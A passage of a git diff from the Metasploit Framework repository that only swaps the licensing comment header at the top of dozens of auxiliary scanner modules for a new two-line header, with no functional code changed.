http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb index 366ab75cd2..0a9efc0d7d 100644 --- a/modules/auxiliary/scanner/http/rfcode_reader_enum.rb +++ b/modules/auxiliary/scanner/http/rfcode_reader_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/robots_txt.rb b/modules/auxiliary/scanner/http/robots_txt.rb index bf396c33be..3b0638537d 100644 --- a/modules/auxiliary/scanner/http/robots_txt.rb +++ b/modules/auxiliary/scanner/http/robots_txt.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/s40_traversal.rb b/modules/auxiliary/scanner/http/s40_traversal.rb index fe20ccb600..f79dcc7112 100644 --- a/modules/auxiliary/scanner/http/s40_traversal.rb +++ b/modules/auxiliary/scanner/http/s40_traversal.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb index 5665d6e223..8853d1e67a 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb index 42d5cc86d7..8a23f0f181 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb index ecd9975c10..dc282363b0 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb index 861df7236b..a5d6f12f4c 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/scraper.rb b/modules/auxiliary/scanner/http/scraper.rb index 6548b368c1..3d0f2d455a 100644 --- a/modules/auxiliary/scanner/http/scraper.rb +++ b/modules/auxiliary/scanner/http/scraper.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index 2ba6434e46..6c00a86bfc 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/sevone_enum.rb b/modules/auxiliary/scanner/http/sevone_enum.rb index f346f4119d..df1365d803 100644 --- a/modules/auxiliary/scanner/http/sevone_enum.rb +++ b/modules/auxiliary/scanner/http/sevone_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb index 16eee36675..00fb8cff83 100644 --- a/modules/auxiliary/scanner/http/simple_webserver_traversal.rb +++ b/modules/auxiliary/scanner/http/simple_webserver_traversal.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/soap_xml.rb b/modules/auxiliary/scanner/http/soap_xml.rb index 458256796f..43967a99c7 100644 --- a/modules/auxiliary/scanner/http/soap_xml.rb +++ b/modules/auxiliary/scanner/http/soap_xml.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/sockso_traversal.rb b/modules/auxiliary/scanner/http/sockso_traversal.rb index a87cd5ca7a..1b82f57067 100644 --- a/modules/auxiliary/scanner/http/sockso_traversal.rb +++ b/modules/auxiliary/scanner/http/sockso_traversal.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/splunk_web_login.rb b/modules/auxiliary/scanner/http/splunk_web_login.rb index 6b4c15b2bb..6523c52c24 100644 --- a/modules/auxiliary/scanner/http/splunk_web_login.rb +++ b/modules/auxiliary/scanner/http/splunk_web_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/sqlmap.rb b/modules/auxiliary/scanner/http/sqlmap.rb index cf4874cd19..2559f26f9e 100644 --- a/modules/auxiliary/scanner/http/sqlmap.rb +++ b/modules/auxiliary/scanner/http/sqlmap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/squid_pivot_scanning.rb b/modules/auxiliary/scanner/http/squid_pivot_scanning.rb index ecf6205baf..7d189950b6 100644 --- a/modules/auxiliary/scanner/http/squid_pivot_scanning.rb +++ b/modules/auxiliary/scanner/http/squid_pivot_scanning.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb index 24cc572411..e0a55e15ec 100644 --- a/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb +++ b/modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb @@ -1,7 +1,5 @@ -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/ssl.rb b/modules/auxiliary/scanner/http/ssl.rb index 5a4e9c1cda..8a75b1e01d 100644 --- a/modules/auxiliary/scanner/http/ssl.rb +++ b/modules/auxiliary/scanner/http/ssl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/svn_scanner.rb b/modules/auxiliary/scanner/http/svn_scanner.rb index dc99b6f586..ccc5349142 100644 --- a/modules/auxiliary/scanner/http/svn_scanner.rb +++ b/modules/auxiliary/scanner/http/svn_scanner.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb index c3f6d1c637..b8627ef821 100644 --- a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb +++ b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb b/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb index 0313dfb35e..d4d6410a00 100644 --- a/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb +++ b/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb index 23566ad87a..dc492b8e1e 100644 --- a/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb +++ b/modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb index aa4f52ebb6..11deebc1d6 100644 --- a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/tomcat_enum.rb b/modules/auxiliary/scanner/http/tomcat_enum.rb index b7f3eaa881..ca3d98da27 100644 --- a/modules/auxiliary/scanner/http/tomcat_enum.rb +++ b/modules/auxiliary/scanner/http/tomcat_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 87014600e2..8716355e50 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb index 5101363fa2..9670c90ec4 100644 --- a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb +++ b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/trace.rb b/modules/auxiliary/scanner/http/trace.rb index 473e706a0a..50e2844490 100644 --- a/modules/auxiliary/scanner/http/trace.rb +++ b/modules/auxiliary/scanner/http/trace.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/trace_axd.rb b/modules/auxiliary/scanner/http/trace_axd.rb index df77f3075e..783fd42106 100644 --- a/modules/auxiliary/scanner/http/trace_axd.rb +++ b/modules/auxiliary/scanner/http/trace_axd.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb index f01ad55126..bc9ed1ac60 100644 --- a/modules/auxiliary/scanner/http/vcms_login.rb +++ b/modules/auxiliary/scanner/http/vcms_login.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/verb_auth_bypass.rb b/modules/auxiliary/scanner/http/verb_auth_bypass.rb index c6d7f6ac47..3bc4f965f5 100644 --- a/modules/auxiliary/scanner/http/verb_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/verb_auth_bypass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/vhost_scanner.rb b/modules/auxiliary/scanner/http/vhost_scanner.rb index e0418228c2..957e0cb444 100644 --- a/modules/auxiliary/scanner/http/vhost_scanner.rb +++ b/modules/auxiliary/scanner/http/vhost_scanner.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb b/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb index 73dda7b0f2..dde952f390 100644 --- a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb +++ b/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb index c16a392d69..62ee1de86d 100644 --- a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/wangkongbao_traversal.rb b/modules/auxiliary/scanner/http/wangkongbao_traversal.rb index af856cf286..5d848d4df5 100644 --- a/modules/auxiliary/scanner/http/wangkongbao_traversal.rb +++ b/modules/auxiliary/scanner/http/wangkongbao_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/web_vulndb.rb b/modules/auxiliary/scanner/http/web_vulndb.rb index dfbe390c62..802a55d3ea 100644 --- a/modules/auxiliary/scanner/http/web_vulndb.rb +++ b/modules/auxiliary/scanner/http/web_vulndb.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/webdav_internal_ip.rb b/modules/auxiliary/scanner/http/webdav_internal_ip.rb index e58e6f100d..ccdb659475 100644 --- a/modules/auxiliary/scanner/http/webdav_internal_ip.rb +++ b/modules/auxiliary/scanner/http/webdav_internal_ip.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/webdav_scanner.rb b/modules/auxiliary/scanner/http/webdav_scanner.rb index b0b30ad648..46229b33d6 100644 --- a/modules/auxiliary/scanner/http/webdav_scanner.rb +++ b/modules/auxiliary/scanner/http/webdav_scanner.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/webdav_website_content.rb b/modules/auxiliary/scanner/http/webdav_website_content.rb index 9c3468219d..1ef230b02b 100644 --- a/modules/auxiliary/scanner/http/webdav_website_content.rb +++ b/modules/auxiliary/scanner/http/webdav_website_content.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/webpagetest_traversal.rb b/modules/auxiliary/scanner/http/webpagetest_traversal.rb index ae734d73da..5cd00396dd 100644 --- a/modules/auxiliary/scanner/http/webpagetest_traversal.rb +++ b/modules/auxiliary/scanner/http/webpagetest_traversal.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index 1f72ed54ec..f48d4e970d 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb index 01c9c1447b..a21c927962 100644 --- a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb +++ b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/xpath.rb b/modules/auxiliary/scanner/http/xpath.rb index 56fa729945..adbe2edc08 100644 --- a/modules/auxiliary/scanner/http/xpath.rb +++ b/modules/auxiliary/scanner/http/xpath.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/yaws_traversal.rb b/modules/auxiliary/scanner/http/yaws_traversal.rb index 5a860ef614..9456b5f65f 100644 --- a/modules/auxiliary/scanner/http/yaws_traversal.rb +++ b/modules/auxiliary/scanner/http/yaws_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb b/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb index 531d0abf80..c40b7551f4 100644 --- a/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb +++ b/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb b/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb index 4e3789d688..dc5af1c591 100644 --- a/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb +++ b/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/imap/imap_version.rb b/modules/auxiliary/scanner/imap/imap_version.rb index 3dbbe8810e..e2e8a66112 100644 --- a/modules/auxiliary/scanner/imap/imap_version.rb +++ b/modules/auxiliary/scanner/imap/imap_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/ip/ipidseq.rb b/modules/auxiliary/scanner/ip/ipidseq.rb index 20c4d3902d..0e2111be32 100644 --- a/modules/auxiliary/scanner/ip/ipidseq.rb +++ b/modules/auxiliary/scanner/ip/ipidseq.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb index 1af8d7458d..30e78c1a37 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index fbc31b83bc..c5aa50e456 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -1,8 +1,6 @@ # -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ipmi/ipmi_version.rb b/modules/auxiliary/scanner/ipmi/ipmi_version.rb index e50cfce841..a1bd6fd042 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_version.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb index 81c5e0ef7a..c8429f9a9c 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git 